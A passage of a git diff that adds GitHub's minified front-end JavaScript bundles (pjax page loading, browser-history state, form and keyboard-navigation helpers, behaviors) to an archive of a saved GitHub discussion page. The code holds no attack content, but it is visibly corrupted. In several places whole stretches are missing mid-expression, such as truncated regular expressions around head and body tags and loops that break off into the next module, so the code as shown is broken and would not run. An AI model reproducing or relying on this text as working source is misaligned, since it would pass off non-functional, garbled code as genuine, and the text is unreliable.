strict";(()=>{var me=Object.defineProperty;var t=(C,v)=>me(C,"name",{value:v,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_pjax_ts"],{41307:(C,v,d)=>{d.d(v,{ZP:()=>M,y0:()=>le});var f=d(6170),c=d(54293),l=d(61161),m=d(49815),p=d(12981),E=d(45922);const u=20;let a,h=null;function s(r,o,e){return r.dispatchEvent(new CustomEvent(o,{bubbles:!0,cancelable:!0,detail:e}))}t(s,"dispatch");async function M(r){var o,e,n,y;const i={push:!0,replace:!1,type:"GET",dataType:"html",scrollTo:0,...r};i.requestUrl=i.url;const g=I(i.url).hash,S=i.container,T=N(S);a||(a={id:O(),url:window.location.href,title:document.title,container:T,fragment:i.fragment},(0,f.lO)(a,a.title,a.url)),h==null||h.abort();const{signal:w}=h=new AbortController;i.push===!0&&i.replace!==!0&&(ae(a.id,j(S)),(0,f.qA)(null,"",i.requestUrl)),s(S,"pjax:start",{url:i.url}),s(S,"pjax:send");let x;const b=ce();try{x=await fetch(i.url,{signal:w,method:i.type,body:i.data,headers:{Accept:"text/html","X-PJAX":"true","X-PJAX-Container":T,"X-Requested-With":"XMLHttpRequest","X-PJAX-VERSION":(o=b.pjax)!=null?o:"","X-PJAX-CSP-VERSION":(e=b.csp)!=null?e:"","X-PJAX-CSS-VERSION":(n=b.css)!=null?n:"","X-PJAX-JS-VERSION":(y=b.js)!=null?y:""}})}catch{x=void 0}if(!x||!x.ok){const D=s(S,"pjax:error");if(i.type==="GET"&&D){const Q=x&&x.headers.get("X-PJAX-URL"),fe=Q?I(Q).href:i.requestUrl;(0,E.b)({pjaxFailureReason:"response_error",requestUrl:i.requestUrl}),U(fe)}s(S,"pjax:complete"),s(S,"pjax:end");return}const K=a,ee=se(),te=x.headers.get("X-PJAX-Version"),ue=await x.text(),A=Y(ue,x,i),{contents:$}=A,ne=I(A.url);if(g&&(ne.hash=g,A.url=ne.href),ee&&te&&ee!==te){s(S,"pjax:hardLoad",{reason:"version_mismatch"}),(0,E.b)({pjaxFailureReason:"version_mismatch",requestUrl:i.requestUrl}),U(A.url);return}if(!$){s(S,"pjax:hardLoad",{reason:"missing_response_body"}),(0,E.b)({pjaxFailureReason:"missing_response_body",requestUrl:i.requestUrl}),U(A.url);return}a={id:i.id!=null?i.id:O(),url:A.url,title:A.title,container:T,fragment:i.fragment},(i.push===!0||i.replace===!0)&&(0,f.lO)(a,A.title,A.url);const Z=document.activeElement,de=i.container!=null&&i.container.contains(Z);if(Z instanceof HTMLElement&&de)try{Z.blur()}catch{}A.title&&(document.title=A.title),s(S,"pjax:beforeReplace",{contents:$,state:a,previousState:K}),R(S,$),(0,c.b)(),(0,c.o)();const z=S.querySelector("input[autofocus], textarea[autofocus]");z&&document.activeElement!==z&&z.focus(),A.scripts&&oe(A.scripts),A.stylesheets&&re(A.stylesheets);let G=i.scrollTo;if(g){const D=(0,l.Kt)(document,g);D&&(G=D.getBoundingClientRect().top+window.pageYOffset)}typeof G=="number"&&window.scrollTo(window.pageXOffset,G),s(S,"pjax:success"),s(S,"pjax:complete"),s(S,"pjax:end")}t(M,"pjaxRequest");function U(r){a&&(0,f.lO)(null,"",a.url),window.location.replace(r)}t(U,"locationReplace");let q=!0;const k=window.location.href,_=window.history.state;_&&_.container&&(a=_),"state"in window.history&&(q=!1);function P(r){if((0,m.c)("TURBO"))return;q||h==null||h.abort();const o=a,e=r.state;let n=null;if(e&&e.container){if(q&&k===e.url)return;if(o){if(o.id===e.id)return;n=o.id]*>([\s\S.]*)<\/head>/i),x=r.match(/]*>([\s\S.]*)<\/body>/i);L=w?Array.from((0,p.r)(document,w[0]).childNodes):[],g=x?Array.from((0,p.r)(document,x[0]).childNodes):[]}else L=g=Array.from((0,p.r)(document,r).childNodes);if(g.length===0)return n;const S=X(L,"title",HTMLTitleElement);n.title=S.length>0&&S[S.length-1].textContent||"";let T;if(e.fragment){if(e.fragment==="body")T=g;else{const w=X(g,e.fragment,Element);T=w.length>0?[w[0]]:[]}if(T.length&&(e.fragment==="body"?n.contents=T:n.contents=T.flatMap(w=>Array.from(w.childNodes)),!n.title)){const w=T[0];w instanceof Element&&(n.title=w.getAttribute("title")||w.getAttribute("data-title")||"")}}else y||(n.contents=g);if(n.contents){n.contents=n.contents.filter(function(b){return b instanceof Element?!b.matches("title"):!0});for(const b of n.contents)if(b instanceof Element)for(const K of b.querySelectorAll("title"))K.remove();const w=X(n.contents,"script[src]",HTMLScriptElement);for(const b of w)b.remove();n.scripts=w,n.contents=n.contents.filter(b=>w.indexOf(b)===-1);const x=X(n.contents,"link[rel=stylesheet]",HTMLLinkElement);for(const b of x)b.remove();n.stylesheets=x,n.contents=n.contents.filter(b=>!x.includes(b))}return n.title&&(n.title=n.title.trim()),n}t(Y,"extractContainer");function oe(r){const o=document.querySelectorAll("script[src]");for(const e of r){const{src:n}=e;if(Array.from(o).some(g=>g.src===n))continue;const y=document.createElement("script"),i=e.getAttribute("type");i&&(y.type=i);const L=e.getAttribute("integrity");L&&(y.integrity=L,y.crossOrigin="anonymous"),y.src=n,document.head&&document.head.appendChild(y)}}t(oe,"executeScriptTags");function re(r){const o=document.querySelectorAll("link[rel=stylesheet]");for(const e of r)Array.from(o).some(n=>n.href===e.href)||document.head&&document.head.appendChild(e)}t(re,"injectStyleTags");const B={},F=[],J=[];function ae(r,o){B[r]=o,J.push(r),W(F,0),W(J,u)}t(ae,"cachePush");function ie(r,o,e){let n,y;B[o]=e,r==="forward"?(n=J,y=F):(n=F,y=J),n.push(o);const i=y.pop();i&&delete B[i],W(n,u)}t(ie,"cachePop");function W(r,o){for(;r.length>o;){const e=r.shift();if(e==null)return;delete B[e]}}t(W,"trimCacheStack");function se(){for(const r of document.getElementsByTagName("meta")){const o=r.getAttribute("http-equiv");if(o&&o.toUpperCase()==="X-PJAX-VERSION")return r.content}return null}t(se,"findVersion");function H(r){var o;const e=document.querySelector(`meta[http-equiv="${r}"]`);return(o=e==null?void 0:e.content)!=null?o:null}t(H,"pjaxMeta");function ce(){return{pjax:H("X-PJAX-VERSION"),csp:H("X-PJAX-CSP-VERSION"),css:H("X-PJAX-CSS-VERSION"),js:H("X-PJAX-JS-VERSION")}}t(ce,"findAllVersions");function le(){return a}t(le,"getState"),window.addEventListener("popstate",P)},54293:(C,v,d)=>{d.d(v,{b:()=>m,o:()=>p});var f=d(7739);const c={},l={};(async()=>(await f.x,c[document.location.pathname]=Array.from(document.querySelectorAll("head [data-pjax-transient]")),l[document.location.pathname]=Array.from(document.querySelectorAll("[data-pjax-replace]"))))(),document.addEventListener("pjax:beforeReplace",function(E){const u=E.detail.contents||[],a=E.target;for(let h=0;h{d.d(v,{C:()=>c,x:()=>f});const f=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),c=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},49815:(C,v,d)=>{d.d(v,{$:()=>E,c:()=>m});var f=d(15205);const c=(0,f.Z)(l);function l(){var u,a;return(((a=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:a.content)||"").split(",")}t(l,"enabledFeatures");const m=(0,f.Z)(p);function p(u){return c().indexOf(u)!==-1}t(p,"isEnabled");const E={isFeatureEnabled:m}},61161:(C,v,d)=>{d.d(v,{$z:()=>l,Kt:()=>f,Q:()=>c});function f(m,p=location.hash){return c(m,l(p))}t(f,"findFragmentTarget");function c(m,p){return p===""?null:m.getElementById(p)||m.getElementsByName(p)[0]}t(c,"findElementByFragmentName");function l(m){try{return decodeURIComponent(m.slice(1))}catch{return""}}t(l,"decodeFragmentValue")},6170:(C,v,d)=>{d.d(v,{Mw:()=>q,_C:()=>U,lO:()=>M,qA:()=>s,y0:()=>m});const f=[];let c=0,l;function m(){return l}t(m,"getState");function p(){try{return Math.min(Math.max(0,history.length)||0,9007199254740991)}catch{return 0}}t(p,"safeGetHistory");function E(){const _={_id:new Date().getTime(),...history.state};return a(_),_}t(E,"initializeState");function u(){return p()-1+c}t(u,"position");function a(_){l=_;const P=location.href;f[u()]={url:P,state:l},f.length=p(),window.dispatchEvent(new CustomEvent("statechange",{bubbles:!1,cancelable:!1}))}t(a,"setState");function h(){return new Date().getTime()}t(h,"uniqueId");function s(_,P,O){c=0;const j={_id:h(),..._};history.pushState(j,P,O),a(j)}t(s,"pushState");function M(_,P,O){const j={...m(),..._};history.replaceState(j,P,O),a(j)}t(M,"replaceState");function U(){const _=f[u()-1];if(_)return _.url}t(U,"getBackURL");function q(){const _=f[u()+1];if(_)return _.url}t(q,"getForwardURL"),l=E(),window.addEventListener("popstate",t(function(P){var O,j,I,N,X;const R=P.state;if(!(!R||!R._id&&!((O=R.turbo)==null?void 0:O.restorationIdentifier))){if((j=R.turbo)==null?void 0:j.restorationIdentifier){const V=R.turbo.restorationIdentifier;((X=(N=(I=f[u()-1])==null?void 0:I.state)==null?void 0:N.turbo)==null?void 0:X.restorationIdentifier)===V?c--:c++}else R._id<(m()._id||NaN)?c--:c++;a(R)}},"onPopstate"),!0);let k;window.addEventListener("turbo:visit",_=>{_ instanceof CustomEvent&&(k=_.detail.action)}),window.addEventListener("turbo:load",()=>{k!=="restore"&&(c=0,M(history.state,"",""))}),window.addEventListener("hashchange",t(function(){if(p()>f.length){const P={_id:h()};history.replaceState(P,"",location.href),a(P)}},"onHashchange"),!0)},12981:(C,v,d)=>{d.d(v,{r:()=>f});function f(c,l){const m=c.createElement("template");return m.innerHTML=l,c.importNode(m.content,!0)}t(f,"parseHTML")},97474:(C,v,d)=>{d.d(v,{Z:()=>f});function f(c){var l,m;const p=(m=(l=c.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:m.content;if(!p)return!1;const E=p.replace(/\.$/,"").split(".").slice(-2).join("."),u=c.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return E!==u}t(f,"detectProxySite")},45922:(C,v,d)=>{d.d(v,{b:()=>m});var f=d(97474),c=d(7739);let l=[];function m(h,s=!1){h.timestamp===void 0&&(h.timestamp=new Date().getTime()),h.loggedIn=a(),l.push(h),s?u():E()}t(m,"sendStats");let p=null;async function E(){await c.C,p==null&&(p=window.requestIdleCallback(u))}t(E,"scheduleSendStats");function u(){var h,s;if(p=null,!l.length||(0,f.Z)(document))return;const M=(s=(h=document.head)==null?void 0:h.querySelector('meta[name="browser-stats-url"]'))==null?void 0:s.content;if(!M)return;const U=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(M,U)}catch{}l=[]}t(u,"flushStats");function a(){var h,s;return!!((s=(h=document.head)==null?void 0:h.querySelector('meta[name="user-login"]'))==null?void 0:s.content)}t(a,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_pjax_ts-3331a0ecddca.js.map \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js new file mode 100644 index 0000000..ce79225 --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var $=Object.defineProperty;var n=(j,y)=>$(j,"name",{value:y,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],{7679:(j,y,h)=>{h.d(y,{H:()=>c,v:()=>p});var E=h(59753);function p(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!1)}n(p,"showGlobalError");function c(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!0)}n(c,"hideGlobalError"),(0,E.on)("deprecatedAjaxError","[data-remote]",function(s){const f=s.detail,{error:L,text:m}=f;s.currentTarget===s.target&&(L==="abort"||L==="canceled"||(/{h.d(y,{Ty:()=>p,YE:()=>c,Zf:()=>s});var E=h(11793);const p=n(()=>{const f=document.querySelector("meta[name=keyboard-shortcuts-preference]");return f?f.content==="all":!0},"areCharacterKeyShortcutsEnabled"),c=n(f=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(f)||f.includes("Alt")&&f.includes("Shift"),"isNonCharacterKeyShortcut"),s=n(f=>{const L=(0,E.EL)(f);return p()?!0:c(L)},"isShortcutAllowed")},75371:(j,y,h)=>{h.d(y,{VZ:()=>p,_C:()=>c,cv:()=>E,oE:()=>s});function E(m){const a=m.getBoundingClientRect();return{top:a.top+window.pageYOffset,left:a.left+window.pageXOffset}}n(E,"offset");function p(m){let a=m;const l=a.ownerDocument;if(!l||!a.offsetParent)return;const g=l.defaultView.HTMLElement;if(a!==l.body){for(;a!==l.body;){if(a.parentElement instanceof g)a=a.parentElement;else return;const{position:C,overflowY:T,overflowX:r}=getComputedStyle(a);if(C==="fixed"||T==="auto"||r==="auto"||T==="scroll"||r==="scroll")break}return a instanceof Document?null:a}}n(p,"overflowParent");function c(m,a){let l=a;const g=m.ownerDocument;if(!g)return;const C=g.documentElement;if(!C||m===C)return;const T=s(m,l);if(!T)return;l=T._container;const r=l===g.documentElement&&g.defaultView?{top:g.defaultView.pageYOffset,left:g.defaultView.pageXOffset}:{top:l.scrollTop,left:l.scrollLeft},d=T.top-r.top,v=T.left-r.left,w=l.clientHeight,k=l.clientWidth,H=w-(d+m.offsetHeight),P=k-(v+m.offsetWidth);return{top:d,left:v,bottom:H,right:P,height:w,width:k}}n(c,"overflowOffset");function s(m,a){let l=m;const g=l.ownerDocument;if(!g)return;const C=g.documentElement;if(!C)return;const T=g.defaultView.HTMLElement;let r=0,d=0;const v=l.offsetHeight,w=l.offsetWidth;for(;!(l===g.body||l===a);)if(r+=l.offsetTop||0,d+=l.offsetLeft||0,l.offsetParent instanceof T)l=l.offsetParent;else return;let k,H,P;if(!a||a===g||a===g.defaultView||a===g.documentElement||a===g.body)P=C,k=f(g.body,C),H=L(g.body,C);else if(a instanceof T)P=a,k=a.scrollHeight,H=a.scrollWidth;else return;const x=k-(r+v),S=H-(d+w);return{top:r,left:d,bottom:x,right:S,_container:P}}n(s,"positionedOffset");function f(m,a){return Math.max(m.scrollHeight,a.scrollHeight,m.offsetHeight,a.offsetHeight,a.clientHeight)}n(f,"getDocumentHeight");function L(m,a){return Math.max(m.scrollWidth,a.scrollWidth,m.offsetWidth,a.offsetWidth,a.clientWidth)}n(L,"getDocumentWidth")},56238:(j,y,h)=>{h.d(y,{Bt:()=>f,DN:()=>a,KL:()=>C,Se:()=>m,qC:()=>T,sw:()=>l});var E=h(59753),p=h(2061),c=h(7679);(0,E.on)("click",".js-remote-submit-button",async function(r){const v=r.currentTarget.form;r.preventDefault();let w;try{w=await fetch(v.action,{method:v.method,body:new FormData(v),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}w&&!w.ok&&(0,c.v)()});function s(r,d,v){return r.dispatchEvent(new CustomEvent(d,{bubbles:!0,cancelable:v}))}n(s,"fire");function f(r,d){d&&(L(r,d),(0,p.j)(d)),s(r,"submit",!0)&&r.submit()}n(f,"requestSubmit");function L(r,d){if(!(r instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(d instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(d.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!r||r!==d.form)throw new Error("The specified element is not owned by the form element.")}n(L,"checkButtonValidity");function m(r,d){if(typeof d=="boolean")if(r instanceof HTMLInputElement)r.checked=d;else throw new TypeError("only checkboxes can be set to boolean value");else{if(r.type==="checkbox")throw new TypeError("checkbox can't be set to string value");r.value=d}s(r,"change",!1)}n(m,"changeValue");function a(r,d){for(const v in d){const w=d[v],k=r.elements.namedItem(v);(k instanceof HTMLInputElement||k instanceof HTMLTextAreaElement)&&(k.value=w)}}n(a,"fillFormValues");function l(r){if(!(r instanceof HTMLElement))return!1;const d=r.nodeName.toLowerCase(),v=(r.getAttribute("type")||"").toLowerCase();return d==="select"||d==="textarea"||d==="input"&&v!=="submit"&&v!=="reset"||r.isContentEditable}n(l,"isFormField");function g(r){return new URLSearchParams(r)}n(g,"searchParamsFromFormData");function C(r,d){const v=new URLSearchParams(r.search),w=g(d);for(const[k,H]of w)v.append(k,H);return v.toString()}n(C,"combineGetFormSearchParams");function T(r){return g(new FormData(r)).toString()}n(T,"serialize")},32750:(j,y,h)=>{h.d(y,{QZ:()=>P,ZH:()=>V,jK:()=>x,T_:()=>F,Sw:()=>X,VF:()=>U,VH:()=>Y});var E=h(6741),p=h(59753),c=h(75371),s=h(11793),f=h(5287),L=h(64463);function m(e,t){let i=e;const o=e.ownerDocument;(i===o||i===o.defaultView||i===o.documentElement||i===o.body)&&(i=o);const u=o.defaultView.Document;if(i instanceof u){const M=t.top!=null?t.top:o.defaultView.pageYOffset,B=t.left!=null?t.left:o.defaultView.pageXOffset;o.defaultView.scrollTo(B,M);return}const b=o.defaultView.HTMLElement;if(!(i instanceof b))throw new Error("invariant");i.scrollTop=t.top,t.left!=null&&(i.scrollLeft=t.left)}n(m,"scrollTo");var a=h(5878);const l=navigator.userAgent.match(/Macintosh/),g=l?"metaKey":"ctrlKey",C=l?"Meta":"Control";let T=!1,r={x:0,y:0};(0,L.N7)(".js-navigation-container:not(.js-navigation-container-no-mouse)",{subscribe:e=>(0,E.qC)((0,E.RB)(e,"mouseover",d),(0,E.RB)(e,"mouseover",v))});function d(e){e instanceof MouseEvent&&((r.x!==e.clientX||r.y!==e.clientY)&&(T=!1),r={x:e.clientX,y:e.clientY})}n(d,"onContainerMouseMove");function v(e){if(T)return;const t=e.currentTarget,{target:i}=e;if(!(i instanceof Element)||!(t instanceof HTMLElement)||!t.closest(".js-active-navigation-container"))return;const o=i.closest(".js-navigation-item");o&&_(o,t)}n(v,"onContainerMouseOver");let w=0;(0,L.N7)(".js-active-navigation-container",{add(){w++,w===1&&document.addEventListener("keydown",k)},remove(){w--,w===0&&document.removeEventListener("keydown",k)}});function k(e){if(e.target!==document.body&&e.target instanceof HTMLElement&&!e.target.classList.contains("js-navigation-enable"))return;T=!0;const t=I();let i=!1;if(t){const o=t.querySelector(".js-navigation-item.navigation-focus")||t;i=(0,p.f)(o,"navigation:keydown",{hotkey:(0,s.EL)(e),originalEvent:e,originalTarget:e.target})}i||e.preventDefault()}n(k,"fireCustomKeydown"),(0,p.on)("navigation:keydown",".js-active-navigation-container",function(e){const t=e.currentTarget,i=e.detail.originalTarget.matches("input, textarea"),o=e.target;if(!!(0,f.Zf)(e.detail.originalEvent)){if(o.classList.contains("js-navigation-item"))if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":A(o,t);break;case"ArrowDown":O(o,t);break;case"Enter":case`${C}+Enter`:R(o,e.detail.originalEvent[g]);break}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t);break;case"Alt+v":G(o,t);break;case"Control+v":N(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"J":O(o,t);break;case"k":case"K":A(o,t);break;case"o":case"Enter":case`${C}+Enter`:R(o,e.detail[g]);break}}else{const u=D(t)[0];if(u)if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowDown":_(u,t)}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+v":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":_(u,t)}}}if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":case"ArrowDown":e.preventDefault();break;case"Enter":e.preventDefault()}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":case"Control+v":case"Alt+v":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"k":case"o":e.preventDefault();break;case"Enter":case`${g}+Enter`:e.preventDefault()}}}});function H(e){const t=e.modifierKey||e.altKey||e.ctrlKey||e.metaKey;(0,p.f)(e.currentTarget,"navigation:open",{modifierKey:t,shiftKey:e.shiftKey})||e.preventDefault()}n(H,"fireOpen"),(0,p.on)("click",".js-active-navigation-container .js-navigation-item",function(e){H(e)}),(0,p.on)("navigation:keyopen",".js-active-navigation-container .js-navigation-item",function(e){const t=e.currentTarget.classList.contains("js-navigation-open")?e.currentTarget:e.currentTarget.querySelector(".js-navigation-open");t instanceof HTMLAnchorElement?(e.detail.modifierKey?(window.open(t.href,"_blank"),window.focus()):t.dispatchEvent(new MouseEvent("click",{bubbles:!0,cancelable:!0}))&&t.click(),e.preventDefault()):H(e)});function P(e){const t=I();e!==t&&(t!==null&&x(t),e==null||e.classList.add("js-active-navigation-container"))}n(P,"activate");function x(e){e.classList.remove("js-active-navigation-container")}n(x,"deactivate");const S=[];function U(e){const t=I();t&&S.push(t),P(e)}n(U,"push");function X(e){x(e),V(e);const t=S.pop();t&&P(t)}n(X,"pop");function F(e,t){const i=t||e,o=D(e)[0],u=i.closest(".js-navigation-item")||o;if(P(e),u instanceof HTMLElement){if(_(u,e))return;const M=(0,c.VZ)(u);W(M,u)}}n(F,"navigation_focus");function V(e){const t=e.querySelectorAll(".js-navigation-item.navigation-focus");for(const i of t)i.classList.remove("navigation-focus")}n(V,"clear");function Y(e,t){V(e),F(e,t)}n(Y,"refocus");function A(e,t){const i=D(t),o=i.indexOf(e),u=i[o-1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(A,"cursorUp");function O(e,t){const i=D(t),o=i.indexOf(e),u=i[o+1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(O,"cursorDown");function G(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o-1])&&(M=(0,c._C)(b,u))&&M.top>=0;)o--;if(b){if(_(b,t))return;K(u,b)}}n(G,"pageUp");function N(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o+1])&&(M=(0,c._C)(b,u))&&M.bottom>=0;)o++;if(b){if(_(b,t))return;K(u,b)}}n(N,"pageDown");function R(e,t=!1){(0,p.f)(e,"navigation:keyopen",{modifierKey:t})}n(R,"keyOpen");function _(e,t){return(0,p.f)(e,"navigation:focus")?(V(t),e.classList.add("navigation-focus"),!1):!0}n(_,"focusItem");function I(){return document.querySelector(".js-active-navigation-container")}n(I,"getActiveContainer");function D(e){const t=[];for(const i of e.querySelectorAll(".js-navigation-item"))i instanceof HTMLElement&&(0,a.Z)(i)&&t.push(i);return t}n(D,"getItems");function Z(e){return e.getAttribute("data-navigation-scroll")||"item"}n(Z,"getScrollStyle");function K(e,t,i="smooth"){const o=(0,c._C)(t,e);!o||(o.bottom<=0?t.scrollIntoView({behavior:i,block:"start"}):o.top<=0&&t.scrollIntoView({behavior:i,block:"end"}))}n(K,"scrollPageTo");function W(e,t){const i=(0,c.oE)(t,e),o=(0,c._C)(t,e);if(!(i==null||o==null))if(o.bottom<=0&&document.body){const b=(e.offsetParent!=null?e.scrollHeight:document.body.scrollHeight)-(i.bottom+o.height);m(e,{top:b})}else o.top<=0&&m(e,{top:i.top})}n(W,"scrollItemTo")},2061:(j,y,h)=>{h.d(y,{j:()=>E,u:()=>p});function E(c){const s=c.closest("form");if(!(s instanceof HTMLFormElement))return;let f=p(s);if(c.name){const L=c.matches("input[type=submit]")?"Submit":"",m=c.value||L;f||(f=document.createElement("input"),f.type="hidden",f.classList.add("is-submit-button-value"),s.prepend(f)),f.name=c.name,f.value=m}else f&&f.remove()}n(E,"persistSubmitButtonValue");function p(c){const s=c.querySelector("input.is-submit-button-value");return s instanceof HTMLInputElement?s:null}n(p,"findPersistedSubmitButtonValue")},6741:(j,y,h)=>{h.d(y,{RB:()=>p,qC:()=>c,w0:()=>E});class E{constructor(f){this.closed=!1,this.unsubscribe=()=>{f(),this.closed=!0}}}n(E,"Subscription");function p(s,f,L,m={capture:!1}){return s.addEventListener(f,L,m),new E(()=>{s.removeEventListener(f,L,m)})}n(p,"fromEvent");function c(...s){return new E(()=>{for(const f of s)f.unsubscribe()})}n(c,"compose")},5878:(j,y,h)=>{h.d(y,{Z:()=>p});function E(c){return c.offsetWidth<=0&&c.offsetHeight<=0}n(E,"hidden");function p(c){return!E(c)}n(p,"visible")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts-e498b20a5640.js.map \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js new file mode 100644 index 0000000..eecbc9b --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js @@ -0,0 +1,101 @@ +(()=>{var Jl=Object.defineProperty;var s=($,D)=>Jl($,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["behaviors"],{56851:($,D,f)=>{"use strict";var T=f(7679),c=f(59753);(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){e.currentTarget===e.target&&(e.defaultPrevented||e.currentTarget.classList.add("loading"))}),(0,c.on)("deprecatedAjaxComplete","[data-remote]",function(e){e.currentTarget===e.target&&e.currentTarget.classList.remove("loading")});var C=f(65935);(0,C.AC)("form.js-ajax-pagination, .js-ajax-pagination form",async function(e,t){const n=e.closest(".js-ajax-pagination");let o;try{o=await t.html()}catch(r){if(r.response&&r.response.status===404){n.remove();return}else throw r}n.replaceWith(o.html),(0,c.f)(e,"page:loaded")});var _=f(30481);const x="analytics.click";(0,c.on)("click","[data-analytics-event]",e=>{const n=e.currentTarget.getAttribute("data-analytics-event");if(!n)return;const o=JSON.parse(n);(0,_.q)(x,o)});var u=f(64463);const g=["system","disabled"].map(e=>`html[data-a11y-animated-images="${e}"] img[data-animated-image]`).join(", ");(0,u.N7)(g,e=>{if(!(e instanceof HTMLImageElement)||e.closest("a")&&!(e.parentElement instanceof HTMLAnchorElement))return;let t=e.parentElement,n=null;if(t instanceof HTMLAnchorElement){if(t.childElementCount>1)return;n=t,n.setAttribute("data-target","animated-image.originalLink"),t=n.parentElement}e.removeAttribute("data-animated-image"),e.setAttribute("data-target","animated-image.originalImage");const o=n?n.cloneNode(!0):e.cloneNode(!0),r=document.createElement("animated-image");r.appendChild(o),t==null||t.replaceChild(r,n||e)});var h=f(22485);document.addEventListener("pjax:start",function(){(0,h.x)("Loading page")}),document.addEventListener("pjax:error",function(){(0,h.x)("Loading failed")}),document.addEventListener("pjax:end",function(){(0,h.x)("Loading complete")});var d=f(52641);const m=new WeakMap;(0,u.N7)("auto-check",function(e){if(e.classList.contains("js-prevent-default-behavior"))return;const t=e.querySelector("input");if(!t)return;const n=t.closest(".form-group")||e,o=t.form;let r;function i(){return r||(r=`input-check-${(Math.random()*1e4).toFixed(0)}`),r}s(i,"generateId");const a=t.getAttribute("aria-describedby");t.addEventListener("focusout:delay",()=>{t.setAttribute("aria-describedby",[r,a].join(" "))});const l=n.querySelector("p.note");l&&(l.id||(l.id=i()),m.set(l,l.innerHTML)),e.addEventListener("loadstart",()=>{p(t,n),n.classList.add("is-loading"),t.classList.add("is-autocheck-loading"),(0,d.G)(o)}),e.addEventListener("loadend",()=>{n.classList.remove("is-loading"),t.classList.remove("is-autocheck-loading")}),t.addEventListener("auto-check-success",async y=>{t.classList.add("is-autocheck-successful"),n.classList.add("successed"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(!!S){if(l instanceof HTMLElement)l.innerHTML=S,(0,h.N)(l);else{const R=w.status===200,I=n.tagName==="DL"?"dd":"div",F=document.createElement(I);F.id=i(),F.classList.add(R?"success":"warning"),F.innerHTML=S,n.append(F),n.classList.add(R?"successed":"warn"),(0,h.N)(F),R&&(F.hidden=document.activeElement!==t)}(0,c.f)(t,"auto-check-message-updated")}}),t.addEventListener("auto-check-error",async y=>{t.classList.add("is-autocheck-errored"),n.classList.add("errored"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(l instanceof HTMLElement)l.innerHTML=S||"Something went wrong",(0,h.N)(l);else{const R=n.tagName==="DL"?"dd":"div",I=document.createElement(R);I.id=i(),I.classList.add("error"),I.innerHTML=S||"Something went wrong",n.append(I),(0,h.N)(I)}}),t.addEventListener("input",()=>{t.removeAttribute("aria-describedby"),t.value||p(t,n)}),t.addEventListener("blur",()=>{const y=n.querySelector(".success");y&&(y.hidden=!0)}),t.addEventListener("focus",()=>{const y=n.querySelector(".success");y&&(y.hidden=!1)}),o.addEventListener("reset",()=>{p(t,n)})});function p(e,t){var n,o,r,i,a,l;t.classList.remove("is-loading","successed","errored","warn"),e.classList.remove("is-autocheck-loading","is-autocheck-successful","is-autocheck-errored");const y=t.querySelector("p.note");if(y){const 